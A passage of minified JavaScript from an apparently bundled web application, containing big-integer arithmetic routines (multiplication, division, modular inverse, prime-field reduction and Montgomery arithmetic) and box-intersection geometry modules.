fe=0;fe<ne;fe++)J[fe]=N[z[fe]],q[fe]=G[z[fe]]},m.prototype.transform=function(z,N,G,J,q,ne){this.permute(ne,z,N,G,J,q);for(var fe=1;fe<q;fe<<=1)for(var X=fe<<1,W=Math.cos(2*Math.PI/X),V=Math.sin(2*Math.PI/X),Y=0;Y<q;Y+=X)for(var Q=W,ie=V,j=0;j<fe;j++){var K=G[Y+j],oe=J[Y+j],re=G[Y+j+fe],le=J[Y+j+fe],pe=Q*re-ie*le;le=Q*le+ie*re,re=pe,G[Y+j]=K+re,J[Y+j]=oe+le,G[Y+j+fe]=K-re,J[Y+j+fe]=oe-le,j!==X&&(pe=W*Q-V*ie,ie=W*ie+V*Q,Q=pe)}},m.prototype.guessLen13b=function(z,N){var G=Math.max(N,z)|1,J=G&1,q=0;for(G=G/2|0;G;G=G>>>1)q++;return 1<<q+1+J},m.prototype.conjugate=function(z,N,G){if(!(G<=1))for(var J=0;J<G/2;J++){var q=z[J];z[J]=z[G-J-1],z[G-J-1]=q,q=N[J],N[J]=-N[G-J-1],N[G-J-1]=-q}},m.prototype.normalize13b=function(z,N){for(var G=0,J=0;J<N/2;J++){var q=Math.round(z[2*J+1]/N)*8192+Math.round(z[2*J]/N)+G;z[J]=q&67108863,q<67108864?G=0:G=q/67108864|0}return z},m.prototype.convert13b=function(z,N,G,J){for(var q=0,ne=0;ne<N;ne++)q=q+(z[ne]|0),G[2*ne]=q&8191,q=q>>>13,G[2*ne+1]=q&8191,q=q>>>13;for(ne=2*N;ne<J;++ne)G[ne]=0;a(q===0),a((q&-8192)===0)},m.prototype.stub=function(z){for(var N=new Array(z),G=0;G<z;G++)N[G]=0;return N},m.prototype.mulp=function(z,N,G){var J=2*this.guessLen13b(z.length,N.length),q=this.makeRBT(J),ne=this.stub(J),fe=new Array(J),X=new Array(J),W=new Array(J),V=new Array(J),Y=new Array(J),Q=new Array(J),ie=G.words;ie.length=J,this.convert13b(z.words,z.length,fe,J),this.convert13b(N.words,N.length,V,J),this.transform(fe,ne,X,W,J,q),this.transform(V,ne,Y,Q,J,q);for(var j=0;j<J;j++){var K=X[j]*Y[j]-W[j]*Q[j];W[j]=X[j]*Q[j]+W[j]*Y[j],X[j]=K}return this.conjugate(X,W,J),this.transform(X,W,ie,ne,J,q),this.conjugate(ie,ne,J),this.normalize13b(ie,J),G.negative=z.negative^N.negative,G.length=z.length+N.length,G.strip()},u.prototype.mul=function(z){var N=new u(null);return N.words=new Array(this.length+z.length),this.mulTo(z,N)},u.prototype.mulf=function(z){var N=new u(null);return N.words=new Array(this.length+z.length),A(this,z,N)},u.prototype.imul=function(z){return this.clone().mulTo(z,this)},u.prototype.imuln=function(z){a(typeof z=="number"),a(z<67108864);for(var N=0,G=0;G<this.length;G++){var J=(this.words[G]|0)*z,q=(J&67108863)+(N&67108863);N>>=26,N+=J/67108864|0,N+=q>>>26,this.words[G]=q&67108863}return N!==0&&(this.words[G]=N,this.length++),this},u.prototype.muln=function(z){return this.clone().imuln(z)},u.prototype.sqr=function(){return this.mul(this)},u.prototype.isqr=function(){return this.imul(this.clone())},u.prototype.pow=function(z){var N=T(z);if(N.length===0)return new u(1);for(var G=this,J=0;J<N.length&&N[J]===0;J++,G=G.sqr());if(++J<N.length)for(var q=G.sqr();J<N.length;J++,q=q.sqr())N[J]!==0&&(G=G.mul(q));return G},u.prototype.iushln=function(z){a(typeof z=="number"&&z>=0);var N=z%26,G=(z-N)/26,J=67108863>>>26-N<<26-N,q;if(N!==0){var ne=0;for(q=0;q<this.length;q++){var fe=this.words[q]&J,X=(this.words[q]|0)-fe<<N;this.words[q]=X|ne,ne=fe>>>26-N}ne&&(this.words[q]=ne,this.length++)}if(G!==0){for(q=this.length-1;q>=0;q--)this.words[q+G]=this.words[q];for(q=0;q<G;q++)this.words[q]=0;this.length+=G}return this.strip()},u.prototype.ishln=function(z){return a(this.negative===0),this.iushln(z)},u.prototype.iushrn=function(z,N,G){a(typeof z=="number"&&z>=0);var J;N?J=(N-N%26)/26:J=0;var q=z%26,ne=Math.min((z-q)/26,this.length),fe=67108863^67108863>>>q<<q,X=G;if(J-=ne,J=Math.max(0,J),X){for(var W=0;W<ne;W++)X.words[W]=this.words[W];X.length=ne}if(ne!==0)if(this.length>ne)for(this.length-=ne,W=0;W<this.length;W++)this.words[W]=this.words[W+ne];else this.words[0]=0,this.length=1;var V=0;for(W=this.length-1;W>=0&&(V!==0||W>=J);W--){var Y=this.words[W]|0;this.words[W]=V<<26-q|Y>>>q,V=Y&fe}return X&&V!==0&&(X.words[X.length++]=V),this.length===0&&(this.words[0]=0,this.length=1),this.strip()},u.prototype.ishrn=function(z,N,G){return a(this.negative===0),this.iushrn(z,N,G)},u.prototype.shln=function(z){return this.clone().ishln(z)},u.prototype.ushln=function(z){return this.clone().iushln(z)},u.prototype.shrn=function(z){return this.clone().ishrn(z)},u.prototype.ushrn=function(z){return this.clone().iushrn(z)},u.prototype.testn=function(z){a(typeof z=="number"&&z>=0);var N=z%26,G=(z-N)/26,J=1<<N;if(this.length<=G)return!1;var q=this.words[G];return!!(q&J)},u.prototype.imaskn=function(z){a(typeof z=="number"&&z>=0);var N=z%26,G=(z-N)/26;if(a(this.negative===0,"imaskn works only with positive numbers"),this.length<=G)return this;if(N!==0&&G++,this.length=Math.min(G,this.length),N!==0){var J=67108863^67108863>>>N<<N;this.words[this.length-1]&=J}return this.strip()},u.prototype.maskn=function(z){return this.clone().imaskn(z)},u.prototype.iaddn=function(z){return a(typeof z=="number"),a(z<67108864),z<0?this.isubn(-z):this.negative!==0?this.length===1&&(this.words[0]|0)<z?(this.words[0]=z-(this.words[0]|0),this.negative=0,this):(this.negative=0,this.isubn(z),this.negative=1,this):this._iaddn(z)},u.prototype._iaddn=function(z){this.words[0]+=z;for(var N=0;N<this.length&&this.words[N]>=67108864;N++)this.words[N]-=67108864,N===this.length-1?this.words[N+1]=1:this.words[N+1]++;return this.length=Math.max(this.length,N+1),this},u.prototype.isubn=function(z){if(a(typeof z=="number"),a(z<67108864),z<0)return this.iaddn(-z);if(this.negative!==0)return this.negative=0,this.iaddn(z),this.negative=1,this;if(this.words[0]-=z,this.length===1&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var N=0;N<this.length&&this.words[N]<0;N++)this.words[N]+=67108864,this.words[N+1]-=1;return this.strip()},u.prototype.addn=function(z){return this.clone().iaddn(z)},u.prototype.subn=function(z){return this.clone().isubn(z)},u.prototype.iabs=function(){return this.negative=0,this},u.prototype.abs=function(){return this.clone().iabs()},u.prototype._ishlnsubmul=function(z,N,G){var J=z.length+G,q;this._expand(J);var ne,fe=0;for(q=0;q<z.length;q++){ne=(this.words[q+G]|0)+fe;var X=(z.words[q]|0)*N;ne-=X&67108863,fe=(ne>>26)-(X/67108864|0),this.words[q+G]=ne&67108863}for(;q<this.length-G;q++)ne=(this.words[q+G]|0)+fe,fe=ne>>26,this.words[q+G]=ne&67108863;if(fe===0)return this.strip();for(a(fe===-1),fe=0,q=0;q<this.length;q++)ne=-(this.words[q]|0)+fe,fe=ne>>26,this.words[q]=ne&67108863;return this.negative=1,this.strip()},u.prototype._wordDiv=function(z,N){var G=this.length-z.length,J=this.clone(),q=z,ne=q.words[q.length-1]|0,fe=this._countBits(ne);G=26-fe,G!==0&&(q=q.ushln(G),J.iushln(G),ne=q.words[q.length-1]|0);var X=J.length-q.length,W;if(N!=="mod"){W=new u(null),W.length=X+1,W.words=new Array(W.length);for(var V=0;V<W.length;V++)W.words[V]=0}var Y=J.clone()._ishlnsubmul(q,1,X);Y.negative===0&&(J=Y,W&&(W.words[X]=1));for(var Q=X-1;Q>=0;Q--){var ie=(J.words[q.length+Q]|0)*67108864+(J.words[q.length+Q-1]|0);for(ie=Math.min(ie/ne|0,67108863),J._ishlnsubmul(q,ie,Q);J.negative!==0;)ie--,J.negative=0,J._ishlnsubmul(q,1,Q),J.isZero()||(J.negative^=1);W&&(W.words[Q]=ie)}return W&&W.strip(),J.strip(),N!=="div"&&G!==0&&J.iushrn(G),{div:W||null,mod:J}},u.prototype.divmod=function(z,N,G){if(a(!z.isZero()),this.isZero())return{div:new u(0),mod:new u(0)};var J,q,ne;return this.negative!==0&&z.negative===0?(ne=this.neg().divmod(z,N),N!=="mod"&&(J=ne.div.neg()),N!=="div"&&(q=ne.mod.neg(),G&&q.negative!==0&&q.iadd(z)),{div:J,mod:q}):this.negative===0&&z.negative!==0?(ne=this.divmod(z.neg(),N),N!=="mod"&&(J=ne.div.neg()),{div:J,mod:ne.mod}):this.negative&z.negative?(ne=this.neg().divmod(z.neg(),N),N!=="div"&&(q=ne.mod.neg(),G&&q.negative!==0&&q.isub(z)),{div:ne.div,mod:q}):z.length>this.length||this.cmp(z)<0?{div:new u(0),mod:this}:z.length===1?N==="div"?{div:this.divn(z.words[0]),mod:null}:N==="mod"?{div:null,mod:new u(this.modn(z.words[0]))}:{div:this.divn(z.words[0]),mod:new u(this.modn(z.words[0]))}:this._wordDiv(z,N)},u.prototype.div=function(z){return this.divmod(z,"div",!1).div},u.prototype.mod=function(z){return this.divmod(z,"mod",!1).mod},u.prototype.umod=function(z){return this.divmod(z,"mod",!0).mod},u.prototype.divRound=function(z){var N=this.divmod(z);if(N.mod.isZero())return N.div;var G=N.div.negative!==0?N.mod.isub(z):N.mod,J=z.ushrn(1),q=z.andln(1),ne=G.cmp(J);return ne<0||q===1&&ne===0?N.div:N.div.negative!==0?N.div.isubn(1):N.div.iaddn(1)},u.prototype.modn=function(z){a(z<=67108863);for(var N=(1<<26)%z,G=0,J=this.length-1;J>=0;J--)G=(N*G+(this.words[J]|0))%z;return G},u.prototype.idivn=function(z){a(z<=67108863);for(var N=0,G=this.length-1;G>=0;G--){var J=(this.words[G]|0)+N*67108864;this.words[G]=J/z|0,N=J%z}return this.strip()},u.prototype.divn=function(z){return this.clone().idivn(z)},u.prototype.egcd=function(z){a(z.negative===0),a(!z.isZero());var N=this,G=z.clone();N.negative!==0?N=N.umod(z):N=N.clone();for(var J=new u(1),q=new u(0),ne=new u(0),fe=new u(1),X=0;N.isEven()&&G.isEven();)N.iushrn(1),G.iushrn(1),++X;for(var W=G.clone(),V=N.clone();!N.isZero();){for(var Y=0,Q=1;!(N.words[0]&Q)&&Y<26;++Y,Q<<=1);if(Y>0)for(N.iushrn(Y);Y-- >0;)(J.isOdd()||q.isOdd())&&(J.iadd(W),q.isub(V)),J.iushrn(1),q.iushrn(1);for(var ie=0,j=1;!(G.words[0]&j)&&ie<26;++ie,j<<=1);if(ie>0)for(G.iushrn(ie);ie-- >0;)(ne.isOdd()||fe.isOdd())&&(ne.iadd(W),fe.isub(V)),ne.iushrn(1),fe.iushrn(1);N.cmp(G)>=0?(N.isub(G),J.isub(ne),q.isub(fe)):(G.isub(N),ne.isub(J),fe.isub(q))}return{a:ne,b:fe,gcd:G.iushln(X)}},u.prototype._invmp=function(z){a(z.negative===0),a(!z.isZero());var N=this,G=z.clone();N.negative!==0?N=N.umod(z):N=N.clone();for(var J=new u(1),q=new u(0),ne=G.clone();N.cmpn(1)>0&&G.cmpn(1)>0;){for(var fe=0,X=1;!(N.words[0]&X)&&fe<26;++fe,X<<=1);if(fe>0)for(N.iushrn(fe);fe-- >0;)J.isOdd()&&J.iadd(ne),J.iushrn(1);for(var W=0,V=1;!(G.words[0]&V)&&W<26;++W,V<<=1);if(W>0)for(G.iushrn(W);W-- >0;)q.isOdd()&&q.iadd(ne),q.iushrn(1);N.cmp(G)>=0?(N.isub(G),J.isub(q)):(G.isub(N),q.isub(J))}var Y;return N.cmpn(1)===0?Y=J:Y=q,Y.cmpn(0)<0&&Y.iadd(z),Y},u.prototype.gcd=function(z){if(this.isZero())return z.abs();if(z.isZero())return this.abs();var N=this.clone(),G=z.clone();N.negative=0,G.negative=0;for(var J=0;N.isEven()&&G.isEven();J++)N.iushrn(1),G.iushrn(1);do{for(;N.isEven();)N.iushrn(1);for(;G.isEven();)G.iushrn(1);var q=N.cmp(G);if(q<0){var ne=N;N=G,G=ne}else if(q===0||G.cmpn(1)===0)break;N.isub(G)}while(!0);return G.iushln(J)},u.prototype.invm=function(z){return this.egcd(z).a.umod(z)},u.prototype.isEven=function(){return(this.words[0]&1)===0},u.prototype.isOdd=function(){return(this.words[0]&1)===1},u.prototype.andln=function(z){return this.words[0]&z},u.prototype.bincn=function(z){a(typeof z=="number");var N=z%26,G=(z-N)/26,J=1<<N;if(this.length<=G)return this._expand(G+1),this.words[G]|=J,this;for(var q=J,ne=G;q!==0&&ne<this.length;ne++){var fe=this.words[ne]|0;fe+=q,q=fe>>>26,fe&=67108863,this.words[ne]=fe}return q!==0&&(this.words[ne]=q,this.length++),this},u.prototype.isZero=function(){return this.length===1&&this.words[0]===0},u.prototype.cmpn=function(z){var N=z<0;if(this.negative!==0&&!N)return-1;if(this.negative===0&&N)return 1;this.strip();var G;if(this.length>1)G=1;else{N&&(z=-z),a(z<=67108863,"Number is too big");var J=this.words[0]|0;G=J===z?0:J<z?-1:1}return this.negative!==0?-G|0:G},u.prototype.cmp=function(z){if(this.negative!==0&&z.negative===0)return-1;if(this.negative===0&&z.negative!==0)return 1;var N=this.ucmp(z);return this.negative!==0?-N|0:N},u.prototype.ucmp=function(z){if(this.length>z.length)return 1;if(this.length<z.length)return-1;for(var N=0,G=this.length-1;G>=0;G--){var J=this.words[G]|0,q=z.words[G]|0;if(J!==q){J<q?N=-1:J>q&&(N=1);break}}return N},u.prototype.gtn=function(z){return this.cmpn(z)===1},u.prototype.gt=function(z){return this.cmp(z)===1},u.prototype.gten=function(z){return this.cmpn(z)>=0},u.prototype.gte=function(z){return this.cmp(z)>=0},u.prototype.ltn=function(z){return this.cmpn(z)===-1},u.prototype.lt=function(z){return this.cmp(z)===-1},u.prototype.lten=function(z){return this.cmpn(z)<=0},u.prototype.lte=function(z){return this.cmp(z)<=0},u.prototype.eqn=function(z){return this.cmpn(z)===0},u.prototype.eq=function(z){return this.cmp(z)===0},u.red=function(z){return new _(z)},u.prototype.toRed=function(z){return a(!this.red,"Already a number in reduction context"),a(this.negative===0,"red works only with positives"),z.convertTo(this)._forceRed(z)},u.prototype.fromRed=function(){return a(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},u.prototype._forceRed=function(z){return this.red=z,this},u.prototype.forceRed=function(z){return a(!this.red,"Already a number in reduction context"),this._forceRed(z)},u.prototype.redAdd=function(z){return a(this.red,"redAdd works only with red numbers"),this.red.add(this,z)},u.prototype.redIAdd=function(z){return a(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,z)},u.prototype.redSub=function(z){return a(this.red,"redSub works only with red numbers"),this.red.sub(this,z)},u.prototype.redISub=function(z){return a(this.red,"redISub works only with red numbers"),this.red.isub(this,z)},u.prototype.redShl=function(z){return a(this.red,"redShl works only with red numbers"),this.red.shl(this,z)},u.prototype.redMul=function(z){return a(this.red,"redMul works only with red numbers"),this.red._verify2(this,z),this.red.mul(this,z)},u.prototype.redIMul=function(z){return a(this.red,"redMul works only with red numbers"),this.red._verify2(this,z),this.red.imul(this,z)},u.prototype.redSqr=function(){return a(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},u.prototype.redISqr=function(){return a(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},u.prototype.redSqrt=function(){return a(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},u.prototype.redInvm=function(){return a(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},u.prototype.redNeg=function(){return a(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},u.prototype.redPow=function(z){return a(this.red&&!z.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,z)};var n={k256:null,p224:null,p192:null,p25519:null};function C(O,z){this.name=O,this.p=new u(z,16),this.n=this.p.bitLength(),this.k=new u(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}C.prototype._tmp=function(){var z=new u(null);return z.words=new Array(Math.ceil(this.n/13)),z},C.prototype.ireduce=function(z){var N=z,G;do this.split(N,this.tmp),N=this.imulK(N),N=N.iadd(this.tmp),G=N.bitLength();while(G>this.n);var J=G<this.n?-1:N.ucmp(this.p);return J===0?(N.words[0]=0,N.length=1):J>0?N.isub(this.p):N.strip!==void 0?N.strip():N._strip(),N},C.prototype.split=function(z,N){z.iushrn(this.n,0,N)},C.prototype.imulK=function(z){return z.imul(this.k)};function x(){C.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}l(x,C),x.prototype.split=function(z,N){for(var G=4194303,J=Math.min(z.length,9),q=0;q<J;q++)N.words[q]=z.words[q];if(N.length=J,z.length<=9){z.words[0]=0,z.length=1;return}var ne=z.words[9];for(N.words[N.length++]=ne&G,q=10;q<z.length;q++){var fe=z.words[q]|0;z.words[q-10]=(fe&G)<<4|ne>>>22,ne=fe}ne>>>=22,z.words[q-10]=ne,ne===0&&z.length>10?z.length-=10:z.length-=9},x.prototype.imulK=function(z){z.words[z.length]=0,z.words[z.length+1]=0,z.length+=2;for(var N=0,G=0;G<z.length;G++){var J=z.words[G]|0;N+=J*977,z.words[G]=N&67108863,N=J*64+(N/67108864|0)}return z.words[z.length-1]===0&&(z.length--,z.words[z.length-1]===0&&z.length--),z};function I(){C.call(this,"p224","ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001")}l(I,C);function k(){C.call(this,"p192","ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff")}l(k,C);function B(){C.call(this,"25519","7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed")}l(B,C),B.prototype.imulK=function(z){for(var N=0,G=0;G<z.length;G++){var J=(z.words[G]|0)*19+N,q=J&67108863;J>>>=26,z.words[G]=q,N=J}return N!==0&&(z.words[z.length++]=N),z},u._prime=function(z){if(n[z])return n[z];var N;if(z==="k256")N=new x;else if(z==="p224")N=new I;else if(z==="p192")N=new k;else if(z==="p25519")N=new B;else throw new Error("Unknown prime "+z);return n[z]=N,N};function _(O){if(typeof O=="string"){var z=u._prime(O);this.m=z.p,this.prime=z}else a(O.gtn(1),"modulus must be greater than 1"),this.m=O,this.prime=null}_.prototype._verify1=function(z){a(z.negative===0,"red works only with positives"),a(z.red,"red works only with red numbers")},_.prototype._verify2=function(z,N){a((z.negative|N.negative)===0,"red works only with positives"),a(z.red&&z.red===N.red,"red works only with red numbers")},_.prototype.imod=function(z){return this.prime?this.prime.ireduce(z)._forceRed(this):z.umod(this.m)._forceRed(this)},_.prototype.neg=function(z){return z.isZero()?z.clone():this.m.sub(z)._forceRed(this)},_.prototype.add=function(z,N){this._verify2(z,N);var G=z.add(N);return G.cmp(this.m)>=0&&G.isub(this.m),G._forceRed(this)},_.prototype.iadd=function(z,N){this._verify2(z,N);var G=z.iadd(N);return G.cmp(this.m)>=0&&G.isub(this.m),G},_.prototype.sub=function(z,N){this._verify2(z,N);var G=z.sub(N);return G.cmpn(0)<0&&G.iadd(this.m),G._forceRed(this)},_.prototype.isub=function(z,N){this._verify2(z,N);var G=z.isub(N);return G.cmpn(0)<0&&G.iadd(this.m),G},_.prototype.shl=function(z,N){return this._verify1(z),this.imod(z.ushln(N))},_.prototype.imul=function(z,N){return this._verify2(z,N),this.imod(z.imul(N))},_.prototype.mul=function(z,N){return this._verify2(z,N),this.imod(z.mul(N))},_.prototype.isqr=function(z){return this.imul(z,z.clone())},_.prototype.sqr=function(z){return this.mul(z,z)},_.prototype.sqrt=function(z){if(z.isZero())return z.clone();var N=this.m.andln(3);if(a(N%2===1),N===3){var G=this.m.add(new u(1)).iushrn(2);return this.pow(z,G)}for(var J=this.m.subn(1),q=0;!J.isZero()&&J.andln(1)===0;)q++,J.iushrn(1);a(!J.isZero());var ne=new u(1).toRed(this),fe=ne.redNeg(),X=this.m.subn(1).iushrn(1),W=this.m.bitLength();for(W=new u(2*W*W).toRed(this);this.pow(W,X).cmp(fe)!==0;)W.redIAdd(fe);for(var V=this.pow(W,J),Y=this.pow(z,J.addn(1).iushrn(1)),Q=this.pow(z,J),ie=q;Q.cmp(ne)!==0;){for(var j=Q,K=0;j.cmp(ne)!==0;K++)j=j.redSqr();a(K<ie);var oe=this.pow(V,new u(1).iushln(ie-K-1));Y=Y.redMul(oe),V=oe.redSqr(),Q=Q.redMul(V),ie=K}return Y},_.prototype.invm=function(z){var N=z._invmp(this.m);return N.negative!==0?(N.negative=0,this.imod(N).redNeg()):this.imod(N)},_.prototype.pow=function(z,N){if(N.isZero())return new u(1).toRed(this);if(N.cmpn(1)===0)return z.clone();var G=4,J=new Array(1<<G);J[0]=new u(1).toRed(this),J[1]=z;for(var q=2;q<J.length;q++)J[q]=this.mul(J[q-1],z);var ne=J[0],fe=0,X=0,W=N.bitLength()%26;for(W===0&&(W=26),q=N.length-1;q>=0;q--){for(var V=N.words[q],Y=W-1;Y>=0;Y--){var Q=V>>Y&1;if(ne!==J[0]&&(ne=this.sqr(ne)),Q===0&&fe===0){X=0;continue}fe<<=1,fe|=Q,X++,!(X!==G&&(q!==0||Y!==0))&&(ne=this.mul(ne,J[fe]),X=0,fe=0)}W=26}return ne},_.prototype.convertTo=function(z){var N=z.umod(this.m);return N===z?N.clone():N},_.prototype.convertFrom=function(z){var N=z.clone();return N.red=null,N},u.mont=function(z){return new F(z)};function F(O){_.call(this,O),this.shift=this.m.bitLength(),this.shift%26!==0&&(this.shift+=26-this.shift%26),this.r=new u(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}l(F,_),F.prototype.convertTo=function(z){return this.imod(z.ushln(this.shift))},F.prototype.convertFrom=function(z){var N=this.imod(z.mul(this.rinv));return N.red=null,N},F.prototype.imul=function(z,N){if(z.isZero()||N.isZero())return z.words[0]=0,z.length=1,z;var G=z.imul(N),J=G.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),q=G.isub(J).iushrn(this.shift),ne=q;return q.cmp(this.m)>=0?ne=q.isub(this.m):q.cmpn(0)<0&&(ne=q.iadd(this.m)),ne._forceRed(this)},F.prototype.mul=function(z,N){if(z.isZero()||N.isZero())return new u(0)._forceRed(this);var G=z.mul(N),J=G.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),q=G.isub(J).iushrn(this.shift),ne=q;return q.cmp(this.m)>=0?ne=q.isub(this.m):q.cmpn(0)<0&&(ne=q.iadd(this.m)),ne._forceRed(this)},F.prototype.invm=function(z){var N=this.imod(z._invmp(this.m).mul(this.r2));return N._forceRed(this)}}(d,this)},2692:function(d){d.exports=g;function g(t){var r,f,a,l=t.length,u=0;for(r=0;r<l;++r)u+=t[r].length;var s=new Array(u),y=0;for(r=0;r<l;++r){var c=t[r],b=c.length;for(f=0;f<b;++f){var h=s[y++]=new Array(b-1),i=0;for(a=0;a<b;++a)a!==f&&(h[i++]=c[a]);if(f&1){var v=h[1];h[1]=h[0],h[0]=v}}}return s}},2569:function(d,g,t){d.exports=i;var r=t(5306),f=t(1390),a=t(2337);function l(v,T){for(var w=0;w<v;++w)if(!(T[w]<=T[w+v]))return!0;return!1}function u(v,T,w,E){for(var p=0,A=0,m=0,n=v.length;m<n;++m){var C=v[m];if(!l(T,C)){for(var x=0;x<2*T;++x)w[p++]=C[x];E[A++]=m}}return A}function s(v,T,w,E){var p=v.length,A=T.length;if(!(p<=0||A<=0)){var m=v[0].length>>>1;if(!(m<=0)){var n,C=r.mallocDouble(2*m*p),x=r.mallocInt32(p);if(p=u(v,m,C,x),p>0){if(m===1&&E)f.init(p),n=f.sweepComplete(m,w,0,p,C,x,0,p,C,x);else{var I=r.mallocDouble(2*m*A),k=r.mallocInt32(A);A=u(T,m,I,k),A>0&&(f.init(p+A),m===1?n=f.sweepBipartite(m,w,0,p,C,x,0,A,I,k):n=a(m,w,E,p,C,x,A,I,k),r.free(I),r.free(k))}r.free(C),r.free(x)}return n}}}var y;function c(v,T){y.push([v,T])}function b(v){return y=[],s(v,v,c,!0),y}function h(v,T){return y=[],s(v,T,c,!1),y}function i(v,T,w){switch(arguments.length){case 1:return b(v);case 2:return typeof T=="function"?s(v,v,T,!0):h(v,T);case 3:return s(v,T,w,!1);default:throw new Error("box-intersect: Invalid arguments")}}},7333:function(d,g){function t(){function a(s,y,c,b,h,i,v,T,w,E,p){for(var A=2*s,m=b,n=A*b;m<h;++m,n+=A){var C=i[y+n],x=i[y+n+s],I=v[m];e:for(var k=T,B=A*T;k<w;++k,B+=A){var _=E[y+B],F=E[y+B+s],O=p[k];if(!(F<C||x<_)){for(var z=y+1;z<s;++z){var N=i[z+n],G=i[z+s+n],J=E[z+B],q=E[z+s+B];if(G<J||q<N)continue e}var ne=c(I,O);if(ne!==void 0)return ne}}}}function l(s,y,c,b,h,i,v,T,w,E,p){for(var A=2*s,m=T,n=A*T;m<w;++m,n+=A){var C=E[y+n],x=E[y+n+s],I=p[m];e:for(var k=b,B=A*b;k<h;++k,B+=A){var _=i[y+B],F=i[y+B+s],O=v[k];if(!(x<_||F<C)){for(var z=y+1;z<s;++z){var N=i[z+B],G=i[z+s+B],J=E[z+n],q=E[z+s+n];if(G<J||q<N)continue e}var ne=c(O,I);if(ne!==void 0)return ne}}}}function u(s,y,c,b,h,i,v,T,w,E,p){return h-b>w-T?a(s,y,c,b,h,i,v,T,w,E,p):l(s,y,c,b,h,i,v,T,w,E,p)}return u}function r(){function a(c,b,h,i,v,T,w,E,p,A,m){for(var n=2*c,C=i,x=n*i;C<v;++C,x+=n){var I=T[b+x],k=T[b+x+c],B=w[C];e:for(var _=E,F=n*E;_<p;++_,F+=n){var O=A[b+F],z=m[_];if(!(O<=I||k<O)){for(var N=b+1;N<c;++N){var G=T[N+x],J=T[N+c+x],q=A[N+F],ne=A[N+c+F];if(J<q||ne<G)continue e}var fe=h(z,B);if(fe!==void 0)return fe}}}}function l(c,b,h,i,v,T,w,E,p,A,m){for(var n=2*c,C=i,x=n*i;C<v;++C,x+=n){var I=T[b+x],k=T[b+x+c],B=w[C];e:for(var _=E,F=n*E;_<p;++_,F+=n){var O=A[b+F],z=m[_];if(!(O<I||k<O)){for(var N=b+1;N<c;++N){var G=T[N+x],J=T[N+c+x],q=A[N+F],ne=A[N+c+F];if(J<q||ne<G)continue e}var fe=h(B,z);if(fe!==void 0)return fe}}}}function u(c,b,h,i,v,T,w,E,p,A,m){for(var n=2*c,C=E,x=n*E;C<p;++C,x+=n){var I=A[b+x],k=m[C];e:for(var B=i,_=n*i;B<v;++B,_+=n){var F=T[b+_],O=T[b+_+c],z=w[B];if(!(I<=F||O<I)){for(var N=b+1;N<c;++N){var G=T[N+_],J=T[N+c+_],q=A[N+x],ne=A[N+c+x];if(J<q||ne<G)continue e}var fe=h(k,z);if(fe!==void 0)return fe}}}}function s(c,b,h,i,v,T,w,E,p,A,m){for(var n=2*c,C=E,x=n*E;C<p;++C,x+=n){var I=A[b+x],k=m[C];e:for(var B=i,_=n*i;B<v;++B,_+=n){var F=T[b+_],O=T[b+_+c],z=w[B];if(!(I<F||O<I)){for(var N=b+1;N<c;++N){var G=T[N+_],J=T[N+c+_],q=A[N+x],ne=A[N+c+x];if(J<q||ne<G)continue e}var fe=h(z,k);if(fe!==void 0)return fe}}}}function y(c,b,h,i,v,T,w,E,p,A,m,n){return T-v>A-p?i?a(c,b,h,v,T,w,E,p,A,m,n):l(c,b,h,v,T,w,E,p,A,m,n):i?u(c,b,h,v,T,w,E,p,A,m,n):s(c,b,h,v,T,w,E,p,A,m,n)}return y}function f(a){return a?t():r()}g.partial=f(!1),g.full=f(!0)},2337:function(d,g,t){d.exports=O;var r=t(5306),f=t(2288),a=t(7333),l=a.partial,u=a.full,s=t(1390),y=t(2464),c=t(122),b=128,h=1<<22,i=1<<22,v=c("!(lo>=p0)&&!(p1>=hi)"),T=c("lo===p0"),w=c("lo<p0"),E=c("hi<=p0"),p=c("lo<=p0&&p0<=hi"),A=c("lo<p0&&p0<=hi"),m=6,n=2,C=1024,x=r.mallocInt32(C),I=r.mallocDouble(C);function k(z,N){var G=8*f.log2(N+1)*(z+1)|0,J=f.nextPow2(m*G);x.length<J&&(r.free(x),x=r.mallocInt32(J));var q=f.nextPow2(n*G);I.length<q&&(r.free(I),I=r.mallocDouble(q))}function B(z,N,G,J,q,ne,fe,X,W){var V=m*z;x[V]=N,x[V+1]=G,x[V+2]=J,x[V+3]=q,x[V+4]=ne,x[V+5]=fe;var Y=n*z;I[Y]=X,I[Y+1]=W}function _(z,N,G,J,q,ne,fe,X,W,V,Y){var Q=2*z,ie=W*Q,j=V[ie+N];e:for(var K=q,oe=q*Q;K<ne;++K,oe+=Q){var re=fe[oe+N],le=fe[oe+N+z];if(!(j<re||le<j)&&!(J&&j===re)){for(var pe=X[K],we=N+1;we<z;++we){var re=fe[oe+we],le=fe[oe+we+z],xe=V[ie+we],ke=V[ie+we+z];if(le<xe||ke<re)continue e}var _e;if(J?_e=G(Y,pe):_e=G(pe,Y),_e!==void 0)return _e}}}function F(z,N,G,J,q,ne,fe,X,W,V){var Y=2*z,Q=X*Y,ie=W[Q+N];e:for(var j=J,K=J*Y;j<q;++j,K+=Y){var oe=fe[j];if(oe!==V){var re=ne[K+N],le=ne[K+N+z];if(!(ie<re||le<ie)){for(var pe=N+1;pe<z;++pe){var re=ne[K+pe],le=ne[K+pe+z],we=W[Q+pe],xe=W[Q+pe+z];if(le<we||xe<re)continue e}var ke=G(oe,V);if(ke!==void 0)return ke}}}}function 